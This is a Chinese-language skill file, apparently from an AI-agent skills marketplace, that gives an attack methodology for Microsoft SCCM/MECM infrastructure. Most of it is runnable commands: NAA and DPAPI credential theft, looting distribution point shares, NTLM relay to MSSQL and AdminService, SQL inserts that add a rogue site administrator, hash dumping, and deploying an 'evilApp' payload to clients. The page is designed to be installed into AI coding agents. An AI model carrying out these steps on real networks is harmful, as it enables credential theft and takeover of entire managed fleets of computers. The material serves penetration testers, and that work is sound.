skills/lateral/sccm-mecm-attack/SKILL.md
针对 Microsoft SCCM/MECM (Configuration Manager) 的攻击方法论。当内网发现 SCCM 站点服务器、管理点(MP)、分发点(DP) 时使用。覆盖 NAA 凭证提取、任务序列密码、PXE 启动介质、Client Push 强制认证、站点服务器接管、应用部署横向移动、AdminService API 利用、层级接管(CAS→Primary)。
npx skillsauth add wgpsec/AboutSecurity sccm-mecm-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
在以下场景使用本技能:
_mssms_mp 或 _mssms_sul SRV 记录mSSMSManagementPoint 对象| 角色 | 说明 | 默认端口 | 关键标识 | |------|------|----------|----------| | Primary Site Server | 核心管理服务器 | - | 运行 SMS_SITE_COMPONENT_MANAGER | | Management Point (MP) | 客户端策略分发 | 80/443 | IIS CCM_* 虚拟目录 | | Distribution Point (DP) | 内容分发 | 80/443 | SMS_DP$ 共享 / SCCMContentLib$ | | Site Database | SQL Server 存储 | 1433 | RBAC_Admins / RBAC_ExtendedPermissions | | SMS Provider | WMI/AdminService API | 443 | AdminService REST API | | CAS | 层级顶层 (多站点) | - | 管理多个 Primary |
[开始] 发现 SCCM 基础设施
│
├─ 有域凭证?
│ ├─ 是 → Phase 1: SCCM 侦察
│ └─ 否 → PXE 启动介质 / 匿名注册尝试
│
├─ 凭证获取
│ ├─ 可注册设备或控制机器账号 → Phase 2: 秘密策略提取
│ └─ 已在 SCCM 客户端 → 本地 DPAPI 提取
│
├─ 权限提升
│ ├─ Client Push 启用 → Phase 3: 强制认证 relay
│ └─ 有 SCCM 管理员 → Phase 4: 横向移动
│
└─ 层级接管
└─ 多站点环境 → Phase 5: CAS 传播
目标: 发现并识别 SCCM 基础设施组件
# 查找 Management Point
nslookup -type=SRV _mssms_mp._tcp.$DOMAIN
dig SRV _mssms_mp._tcp.$DOMAIN
# 查找 Software Update Point
nslookup -type=SRV _mssms_sul._tcp.$DOMAIN
# 查找 Management Point 对象
([ADSISearcher]("objectClass=mSSMSManagementPoint")).FindAll() | % {$_.Properties}
# 查找 SCCM 相关 SPN
setspn -Q *SMS* | findstr /i "SMS"
setspn -Q *SCCM* | findstr /i "SCCM"
# 发现 SCCM 基础设施
sccmhunter.py find -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP
# SMB 枚举确认角色
sccmhunter.py smb -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP
# 显示发现结果
sccmhunter.py show -smb
sccmhunter.py show -all
# 本地站点信息 (已安装 SCCM 客户端)
SharpSCCM.exe local site-info
# WMI 查询
Get-WmiObject -Class SMS_Authority -Namespace root\CCM
# 探测 PXE 环境 (无需域凭证)
pxethiefy.py explore -i $INTERFACE
目标: 提取 NAA 凭证、任务序列密码、DP 敏感文件
# HTTP MP — SCCMSecrets (推荐)
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
-u "$MACHINE_NAME" -p "$MACHINE_PASSWORD" -cn "newdevice"
# HTTPS MP (PKI 环境)
python3 SCCMSecrets.py policies -mp "https://$MP_IP" \
-u '$MACHINE_NAME' -p '$MACHINE_PASSWORD' -cn 'newdevice' \
--pki-cert ./cert.pem --pki-key ./key.pem
# NTLM relay 提取策略
ntlmrelayx.py -t 'http://$MP_IP/ccm_system_windowsauth/request' \
-smb2support --sccm-policies
# sccmhunter 自动化
sccmhunter.py http -u $USER -p $PASSWORD -d $DOMAIN -dc-ip $DC_IP -auto
# Windows — SharpSCCM
SharpSCCM.exe get secrets -r newdevice -u $MACHINE_NAME -p $PASSWORD
# Phase 1 发现 PXE 后,解密启动介质中的凭证
pxethiefy.py decrypt -f $PXE_MEDIA_FILE
# 使用已攻陷设备的注册凭据
python3 SCCMSecrets.py policies -mp "http://$MP_IP" \
--use-existing-device compromised_device/
# SystemDPAPIdump (远程)
SystemDPAPIdump.py -creds -sccm $DOMAIN/$USER:$PASSWORD@$TARGET
# SharpSCCM 本地
SharpSCCM.exe local secrets disk
SharpSCCM.exe local secrets wmi
# SharpDPAPI
SharpDPAPI.exe SCCM
# mimikatz
dpapi::sccm
# NAA 凭证 (加密 blob)
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_NetworkAccessAccount
# 任务序列变量
Get-WmiObject -Namespace ROOT\ccm\policy\Machine\ActualConfig \
-Class CCM_TaskSequence
# SCCMSecrets — 按扩展名搜刮
python3 SCCMSecrets.py files -dp "http://$DP_IP" \
-u '$USER' -H '$HASH' \
--extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
# cmloot — 批量搜刮
python3 cmloot.py $DOMAIN/$USER@$TARGET \
-findsccmservers -target-file sccmhosts.txt \
-cmlootdownload sccmfiles.txt
目标: 通过 Client Push / Site DB / AdminService relay 获取站点管理员
原理: Client Push 安装会使用高权限账号对目标发起 NTLM 认证,relay 到其他目标。
# 启动 relay
ntlmrelayx.py -smb2support -socks -ts -ip $ATTACKER_IP -t $TARGET
# 触发 Client Push
SharpSCCM.exe invoke client-push -t $TARGET --as-admin
原理: 站点服务器机器账号对 Site Database 有 sysadmin 权限,relay 到 MSSQL 后注入管理员。
# 步骤 1: 启动 MSSQL relay
ntlmrelayx.py -t "mssql://$SITE_DB" -smb2support -socks
# 步骤 2: 触发站点服务器认证 (Coercer / PetitPotam 等)
# 步骤 3: 通过 SOCKS 连接 SQL
proxychains mssqlclient.py "DOMAIN/$SITE_SERVER$"@"$SITE_DB" -windows-auth
-- 步骤 4: 注入 SCCM 管理员
-- 先获取目标用户 SID
USE CM_$SITE_CODE;
INSERT INTO RBAC_Admins (AdminSID, LogonName, DisplayName, IsGroup, IsDeleted, CreatedBy, CreatedDate, ModifiedBy, ModifiedDate, SourceSite)
VALUES ($ADMIN_SID, '$DOMAIN\$USER', '$DOMAIN\$USER', 0, 0, '', '', '', '', '$SITE_CODE');
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00ALL', 29);
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00001', 1);
INSERT INTO RBAC_ExtendedPermissions (AdminID, RoleID, ScopeID, ScopeTypeID)
VALUES ((SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'),
'SMS0001R', 'SMS00004', 1);
# relay 到 SMS Provider AdminService
ntlmrelayx.py -t "https://$SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID
# relay passive 站点服务器到 active 站点服务器
ntlmrelayx.py -t $ACTIVE_SERVER -smb2support -socks
# 通过 SOCKS dump hash
proxychains4 secretsdump.py $DOMAIN/$PASSIVE_SERVER\$@$ACTIVE_SERVER
# 以 active 站点服务器身份接管
sccmhunter.py admin -u $ACTIVE_SERVER\$ -p $LMHASH:$NTHASH -ip $SMS_PROVIDER_IP
目标: 利用 SCCM 管理员权限在客户端执行命令
# SharpSCCM — 指定资源 ID 执行
SharpSCCM.exe exec -rid $RESOURCE_ID -r $TARGET
# 发现站点代码
Find-SccmSiteCode -ComputerName $SITE_SERVER
# 建立会话
$session = New-SccmSession -ComputerName $SITE_SERVER -SiteCode $SITE_CODE -Credential $CRED
# 创建恶意应用
New-SccmApplication -Session $session -ApplicationName "evilApp" \
-PowerShellB64 $ENCODED_PAYLOAD
# 部署到目标
New-SccmApplicationDeployment -Session $session -ApplicationName "evilApp" \
-AssignmentName "deploy" -CollectionName "target_collection"
# 强制客户端检入
Invoke-SCCMDeviceCheckin -Session $session -CollectionName "target_collection"
New-CMScriptDeployement -CMDrive 'E' -ServerFQDN '$SITE_SERVER' \
-TargetDevice '$TARGET' -Path '.\payload.ps1' -ScriptName 'evilScript'
# sccmhunter 管理控制台
sccmhunter.py admin -u "$USER" -p "$PASSWORD" -ip "$SITE_SERVER_IP"
# 交互命令: help, interact, ps, ls, cat, exec, etc.
目标: 从单站点扩展到整个 SCCM 层级
在任一 Primary 站点添加的管理员会自动传播到 CAS 及所有子站点。利用 Phase 3 在一个 Primary 上执行 add_admin 后,等待复制同步即可控制全部站点。
# 在 sccmhunter admin 会话中
add_admin $DOMAIN\\$USER $ADMIN_SID
在多站点环境中,relay 到远程 SMS Provider 的 AdminService 添加管理员。
ntlmrelayx.py -t "https://$REMOTE_SMS_PROVIDER/AdminService/wmi/SMS_Admin" \
-smb2support --adminservice \
--logonname "$DOMAIN\\$USER" \
--displayname "$DOMAIN\\$USER" \
--objectsid $OBJECTSID
注意: ConfigMgr 2509+ 默认拒绝 AdminService 上的 NTLM 认证,此技术仅适用于早期版本。
| 工具 | 用途 | 平台 | |------|------|------| | sccmhunter | SCCM 侦察/利用/管理 | Linux | | SharpSCCM | SCCM 客户端利用 | Windows | | SCCMSecrets | 策略/NAA/DP 提取 | Linux | | pxethiefy | PXE 启动介质分析 | Linux | | cmloot / sccm-http-looter | DP 文件搜刮 | Linux | | ntlmrelayx | NTLM relay 攻击 | Linux | | PowerSCCM | SCCM 管理操作 | Windows |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能